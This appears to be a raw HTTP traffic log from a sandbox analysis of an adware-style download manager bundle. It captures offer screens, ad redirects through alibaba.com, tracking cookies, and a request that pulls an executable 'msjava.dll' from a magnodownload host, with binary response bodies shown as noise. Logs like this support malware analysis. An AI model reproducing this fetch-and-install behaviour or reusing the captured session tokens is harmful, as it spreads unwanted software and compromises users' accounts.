;...<!-- buttons -->.<div class="buttons">..  <!--boton
es derecha -->.  .  <input id="_Bnext" class="_Bnext green right
" buttonText="Next" tabindex="0" type="submit" value="Next" onclick='o
nAccept();'>.  ..  <!--botones izquierda -->..  .  <input 
id="_Bomit" class="_Bomit normal-close leftnowidth" tabindex="3" type=
"submit" name="nombre" value="Skip All" onclick='onOmit();'>.  .  .
  <input id="_Bdecline" class="_Bdecline normal-close leftnowidth" 
tabindex="1" type="submit"  name="nombre" value="Decline"  onclick='on
Decline();'>.  ..  <div class="clear"></div>.</div&g
t;..  ..<div class="contact">.  <div class="contact-in" style
="height: 20px;">..    <ul>.      <li><a target='_bl
ank' class="first _TitPrivacy">Privacy Policy</a></li>.
      <li><a target='_blank' class="_TitSetup">Setup info&
lt;/a></li>.      <li><a target='_blank' class="_Tit
Free">Why is this free?</a></li>.      <li>&l
<<< skipped >>>

GET /__maxpower__/render_screen/2014/11/d1187d84-6a69-11e4-b052-06a3579b0dab/screen_variation=I_link HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Sat, 13 Jun 2015 00:33:22 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 953

Connection: keep-alive
..<!--Intall Link-->..<div class="install">..    <h1>
;Installation Progress</h1>.    .    <p>This Download Mana
ger will minimize to your system tray shortly to allow you to work on 
other items while your selections install. To restore this window, sim
ply click on the icon in your system tray.</p>.    .      <di
v class="install-loading">.    </div>.    <div class="prog
ress-bar">.        <div class="_TotalProgressLevel progress-leve
l" ></div>            .    </div>....<div class="cle
ar" style="height:10px; display:block;"></div>.     <div c
lass="_ProgressInstallingText" style="display:none; text-align: center
; margin-left: 45px; width: 422px;"><p>Installing ...</p&g
t;</div>.    .    <div class="_ProgressText" style="display:n
one;  margin-left: 33px;">.        <p>Process: <span class
="_ProgressTextDownloaded"></span>  of <span class="_
ProgressTextTotal"></span> (<span class="_ProgressTextPerc
entage"></span> %)</p>.    </div>..   .   .</d
iv>.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Language: en..Co
ntent-Type: text/html; charset=utf-8..Date: Sat, 13 Jun 2015 00:33:22 
GMT..Server: nginx..Vary: Accept-Language..Content-Length: 953..Connec
tion: keep-alive....<!--Intall Link-->..<div class="install"&
gt;..    <h1>Installation Progress</h1>.    .    <p>
This Download Manager will minimize to your system tray shortly to
<<< skipped >>>

GET /css/6v/??run/arcadia/landing-page/lp-layout-premium-market.css,run/list/common/default.css,run/arcadia/landing-page/lp-category-list.css,run/arcadia/category/categories-home.css,apollo/mod/header/header-v4-sc.css,run/common/top-reached/top-reached.css,apollo/mod/footer/footer-v4-sc.css?t=1839ef62e_22db2c054f HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Last-Modified: Fri, 12 Jun 2015 02:59:04 GMT

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Content-Length: 51117

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=31458240

Expires: Sat, 11 Jun 2016 02:57:29 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
............g....%...j4..1.....h.....tj.(...pj2. .......ff...../.u....
..W..k...@.=..9,.t.q ....~....m.}..{8.e....p......e.5...m...k..s.~._C?
...~].. ...!...k..i........q.|m/.~V......FEZ...=..wNK.c....}.f....C..m
...U....R......oZ}......b_.g..M...".&.../{.?.|.._...?.................
9...G..e?..m.....v..............Q......a-.2*.r>./.$I..Y.....I.~._~.
0.F.......s.B.,..../...?..._.............m~....0I.....~L..z...Q]._.k..
.<..aR-..-A..._.|......%)./....>..x.Rfc.._..K..)./.............K
?._.1..~..h...c....K.1../q.._....d....R......z..$.....4_..KV.M2....../
M.][.4O..K8..../.T~....L..a....<........R$....,.0....~...i.|...r..&
gt;.OK{Y........4.7.}.~_vE:...k..U.|..2....)m.p.i..K._T.?.:...e....<
;^._.....'........{?.KR....5....q......._.....8...~F....w.._..G..}3...
.*..........l....|4...5...$..6l~...K^.SS.! [email protected]..;|w..
.O...........g...cK....._.cH........w.o.>.._F..G.a..^......[.}.@...
.....O...g.|..........z....V.C?.a7.4............XN~..x.Dl?..O.........
.G..a.O... ................7D.>J/.H..1?.../3.?......~y.t...........
\u._~7..u.u....Q...-...J...kU.c...G.u...).n.aM?~..n..O..WG.'.Na;|...m.
...}._.._SW"g?......._.2....._.....Hp.....V\...s.....?..V... v...hL...
..OW)..}.2]9....d.............O.G.}?.M8.k....G...._...C.......%.....C.
...~_ ~.#...X..n.?....?~V....1...S......?]...o.....,2^A.;.....t....&..
...:..7.....G...x.>?..}............./......;..._.\....o....l...qe..
._....e......?.y....f..*[email protected]_.nX. [email protected]....
?../m...Y./...2.........).:..e.^.oF.$...B...?.................~...
<<< skipped >>>

GET /simg/sprites/env/aisn/ghome/ghome.png?t=4e09143a_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 40369

Last-Modified: Mon, 05 Jan 2015 05:45:07 GMT

ETag: 4e09143a_0

Timing-Allow-Origin: *

Cache-Control: max-age=20395264

Expires: Thu, 04 Feb 2016 01:54:33 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *
.PNG........IHDR..............8......tEXtSoftware.Adobe ImageReadyq.e&
lt;...niTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:52EA6E036007E411B5E6D95C327E2CAD" xmpMM:DocumentID="xmp.did:1BF2
668E869711E4A36CF4A1632FB7B3" xmpMM:InstanceID="xmp.iid:1BF2668D869711
E4A36CF4A1632FB7B3" xmp:CreatorTool="Adobe Photoshop CC 2014 (Windows)
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:847a23ac-2119-00
44-b527-1ce00237277e" stRef:documentID="xmp.did:52EA6E036007E411B5E6D9
5C327E2CAD"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>{.......IDATx....|ee}?..&....d....A."
BY.......?.....!Zq_.....Rm]&.].j.....B..APA.qAd..(...f.f.....=....$..!
..~.....{....sc:.<yN..8=?..........%.........%5...*_....H}.Y.......
.......Q..M.`..;.......{..W<>.........:m.}QZ.....LKJ.....#..Vy..
/T..?......R...........2{F.. .........H.....m.[ScJ.....M!.;..;..x..S..
.Hm....F~.ys..1.3\....N.O..o........u.....i%.p?'5......XOiNk..iI...k..
...P.]...Sm...q.N/...}.zlU....\..3g.H.{.<..%.....t.WR.......x....id
[email protected]..."=.Y_7..j......w\=.b...f..y..T.84<j}.....
<<< skipped >>>

GET /js/6v/biz/common/lazyload-images/lazyload-images.js?t=ba5caa31_6b5144d34 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Last-Modified: Fri, 12 Jun 2015 10:52:19 GMT

ETag: fefb22b5_620209b94

Server: Tengine

Content-Type: application/javascript

Content-Length: 613

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Timing-Allow-Origin: *

Cache-Control: max-age=21

Expires: Sat, 13 Jun 2015 00:33:51 GMT

Date: Sat, 13 Jun 2015 00:33:30 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
[email protected]...^ZRj;..i{.......,....
Z*J.}S..=.....]...n$.D.J(..j.Z*F.Pm.ie.S.(&s....;..8W.#._..5.J...g....
.....jCI^7R.~%.R..K.Ch4{..<..?.|.:....7..K....g[\..g1M...G.....Ib..
..K....K.ed......h....F......$b.I.....3-.e.W.*..2....5D7'..h.....WV...
..8.I)...*..$..di....o..`...^h...x;.....y.....9....}q...qb..:...Z.m]ov
....V........%.......N..B.8...A...X.2.#....._\..m/......5. .?s..&0}.zj
[email protected]<.$.Ot...7x.O;.#j.-..z.X........[[email protected].(....A....9....zs"...
.@....~@...="...^,.Q.....'p..N!.q..s4.#...n\......44j...t......S....^[
W.Nik....L.?...(@.-..c3........dvJX.U.s(....s.D......?.w...HTTP/1.1 20
0 OK..Last-Modified: Fri, 12 Jun 2015 10:52:19 GMT..ETag: fefb22b5_620
209b94..Server: Tengine..Content-Type: application/javascript..Content
-Length: 613..Access-Control-Allow-Origin: *..Content-Encoding: gzip..
Timing-Allow-Origin: *..Cache-Control: max-age=21..Expires: Sat, 13 Ju
n 2015 00:33:51 GMT..Date: Sat, 13 Jun 2015 00:33:30 GMT..Connection: 
keep-alive..Vary: Accept-Encoding..Timing-Allow-Origin: *.............
[email protected]...^ZRj;..i{.......,....Z*J.}S..=..
...]...n$.D.J(..j.Z*F.Pm.ie.S.(&s....;..8W.#._..5.J...g.........jCI^7R
.~%.R..K.Ch4{..<..?.|.:....7..K....g[\..g1M...G.....Ib....K....K.ed
......h....F......$b.I.....3-.e.W.*..2....5D7'..h.....WV.....8.I)...*.
.$..di....o..`...^h...x;.....y.....9....}q...qb..:...Z.m]ov....V......
..%.......N..B.8...A...X.2.#....._\..m/......5. .?s..&0}[email protected]<
.$.Ot...7x.O;.#j.-..z.X........[[email protected].(....A....9....zs"....@....~
<<< skipped >>>

GET /event/common.html?id=17769&st_page_id=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ver=40&time=1434155618687 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: stat.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 00:33:29 GMT

Server: Apache

Last-Modified: Thu, 25 Dec 2014 09:24:05 GMT

ETag: "50b06f82d9740"

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Content-Encoding: gzip

X-XSS-protection: 1;mode=block

Content-Length: 20

Connection: close

Content-Type: text/html
......................

GET /simg/sprites/env/aisn/survey-grey.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i02.i.aliimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Sun, 14 Jun 2015 03:21:30 GMT

Last-Modified: Tue, 08 Jan 2013 02:58:18 GMT

Cache-Control: max-age=172800

Timing-Allow-Origin: *

SERVED-FROM: 212.30.134.195

Server: Tengine

Content-Type: image/png

Content-Length: 1733

Accept-Ranges: bytes

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR...0...b.....!..I....tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:C90BDB4257B011E284E0888250
7217AF" xmpMM:DocumentID="xmp.did:C90BDB4357B011E284E08882507217AF">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C90BDB4057B011E284E0
8882507217AF" stRef:documentID="xmp.did:C90BDB4157B011E284E08882507217
AF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>..W-....PLTE.................................
......................................................................
......................................................................
......................................................................
7.K....QtRNS..........................................................
.......................h.......IDATx...is.0..w.ZT..h...........}.._...
^(...:........aC...b.Jf%,.pc...|9G.3..g..........S....*...I.&.....^..%
B.....#7R$...F\..&S....%%..!.M.......q. ...s.."A..vb.w...W...!c..p....
.v;.rDA........P.T..g,..G{[email protected]..#~s..1...*...._....
<<< skipped >>>

GET /js/beacon_en.js HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==

HTTP/1.1 200 OK

Expires: Sat, 13 Jun 2015 00:36:42 GMT

Last-Modified: Wed, 20 May 2015 06:42:43 GMT

Cache-Control: max-age=1800

Timing-Allow-Origin: *

Server: Tengine

Content-Type: application/javascript

Content-Length: 15309

Accept-Ranges: bytes

Content-Encoding: gzip

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........}kw............F.2.g...t8~.Gl.N.$...W#[email protected]
k.H.Ruuu..Qvg:.. ..=...._t.5.N.!..c....q...,......'.[...n.bv..j3.X..X.
....d7..5_..*6.r;...j..76f........G'G........^.yl1.k....vX.0......65..
....<vX.Qnb._..Idw.l.S...>.|.w[...O|L.[9 .Z.9A..#.v..0.#z...|r.[
...U.L..Q..r."......X.@m...?..c..o......C..A..x......z..Y.t..#H.o..y..
c......?....M]......z....C....o.......[.\...2s.w.x..:.c?...Kl.....3..q
..~.q...@=.zc..N..B/.DC>..>.....]..c....|4.">...~../L'.x.....
.E.......(/....v^.....A..[K*[email protected].,.......l .k..nG0..i....
.=p.8.b.............}....Q....f..^8....t.............J(>.L..F...=.Y
..Rg.Kn.2B......"..x...S..G<......e..,...XX...n..v..=`...m.:...G ..
.......c..af,....V.......t...qkK..'.Q`..z.......G.k5..W.b.5:,....c%.f.
,..G~.P.`.N.'B@..."s..0.V...49...I.Q...WE.q..4_:E..".6.<B.&{o..r.X.
.,.........0....Q..q...B~....b|g.*W.E...........Y;d.........x}o..BkI@.
..)|.........64...R..0..4!..H}).....EW8pt...r....-....=.x...tC..m.3f=&
gt;J..\Z....vcs..t^@..;......wo...F....Nss...~eg..Y....=.D..vp."..k4..
...9A..=...m.U...r<..........ld&x.q8......q`$t.5w.........m&.#....A
...f.....=..7A..a..n&f..K0...k/.& ....De>l...........h.?..V(M2e..D.
...}5..d...w..........^..0........~a..l...../... [email protected]...%..F.......
.[..^"[email protected].}m|..>M....I...b..d..8W.y{4.._..q....
.[@.....Z.7(..n....T.j....'[email protected]...^\..XiG....._..)..U.
(.(@b.....y{...........).,......\ [email protected][. .. w..`..I.....-
..c..z.I8...|..\..w..._l.)T.....-.....O....e-..#...VW.(.i,g...P...
<<< skipped >>>

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/loading-install.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Sat, 13 Jun 2015 00:33:24 GMT

ETag: "54fdc5b0-1644"

Last-Modified: Mon, 09 Mar 2015 16:09:20 GMT

Server: nginx

Content-Length: 5700

Connection: keep-alive
GIF89a..........|~|...DFD......$"$dbd............424trt......\Z\......
............LNLljl...<><.........LJL......,.,dfd............4
64|z|.................................................................
....!..NETSCAPE2.0.....!.......,[email protected]..#....B*...@..$
...u8.5....&.0.cX6..~-.ka..J0. ..*.'. B."*B... ,0..NB...0.".)%S.....q%
.)!.&D.$..q....W..c.}D.....q$...../...q0......**.*..0...I..W&h..$.K.#.
0.-.$..IL....L$*h.Z\.a.....T. q......-.....z.$<..D...L..H.g... ....
1.Bn)....M..~*.M.......-....!.......,............|~|...DFD......,.,...
dfd..................TVT......464...trt............|z|.........LNL....
..424...............\Z\......<:<...tvt..........................
[email protected]... ..E....A*...CX.>;..P
. -\P)....]YiW.._?..0..DJ..*..z.% .B%.-,g..#C#''.. . .S!.-.o.) .'.C..-
.b...(b(.W.*I.*...o,....."".".o.........b....,I..J.nI#.".b....D.*...W.
.......%g.NB#.\.x..@.=%..X`l....P..p....[....$...!D.x.g.$..F.S(fc.!(..
$.a....&."I.C...W...!.......,............|~|...DBD......\^\...........
.......TRTljl.........,.,...............LJL...trt............dfd$"$...
............\Z\lnl.........424............LNL.........................
........................pH..&.........0#b)..J....>.....,b..B.A...G.
*....TD.".T!.....{1./[1.""(g..$C$.-1./0.)S,.".Vb)..."N..Uo.0.*b..b$.I.
,...oO......"."..1. ...........rD.o..J$..J....C....I# . ....g..1...1..
J..!$.....x@.!....8|@q...-..8.`.Y.Q.2......7.s1..f...."LX/..'...@...
. .!.......,............|~|...DFD......dbd$&$.........trt...424...
<<< skipped >>>

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/progress-level.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Sat, 13 Jun 2015 00:33:24 GMT

ETag: "54fdc5b5-10c6"

Last-Modified: Mon, 09 Mar 2015 16:09:25 GMT

Server: nginx

Content-Length: 4294

Connection: keep-alive
.PNG........IHDR...|.........L.......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /d5/msjava.dll HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: static.api.magnodownload.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/octet-stream

Date: Sat, 13 Jun 2015 00:33:14 GMT

ETag: "54ef0d1b-e5910"

Last-Modified: Thu, 26 Feb 2015 12:10:03 GMT

Server: nginx

Content-Length: 940304

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....C8
...........#...............................k..........................
......m...............................`#..te..........................
......................................................................
...........................text............................... ..`.dat
a...d"......."[email protected].............................
..@[email protected][email protected]@...0[.8M..... 8W...
4.D8a...4.D8l...6.D8y...5.D8............KERNEL32.dll.NTDLL.DLL.GDI32.d
ll.USER32.dll.ADVAPI32.dll.OLEAUT32.dll.ole32.dll.....................
......................................................................
......................................................................
......................................................................
......................................................................
............................................ .........................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /sc/fpc.html?cna=WWgCDjWxzjYCAcGK9OdXbmWQ&pageid=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ali_beacon_id=193.138.244.231.143415561055.341443.0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: stat.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1; ali_beacon_id=193.138.244.231.143415561055.341443.0; cna=WWgCDjWxzjYCAcGK9OdXbmWQ; ali_apache_track=""; ali_apache_tracktmp=""

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 00:33:31 GMT

Server: Apache

Last-Modified: Thu, 25 Dec 2014 09:24:05 GMT

ETag: "50b06f82d9740"

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Content-Encoding: gzip

X-XSS-protection: 1;mode=block

Content-Length: 20

Connection: close

Content-Type: text/html
......................

GET /rd/vutlr5u3?pid=313275&tp1=65352150151&cv=147001&cn=UA HTTP/1.1

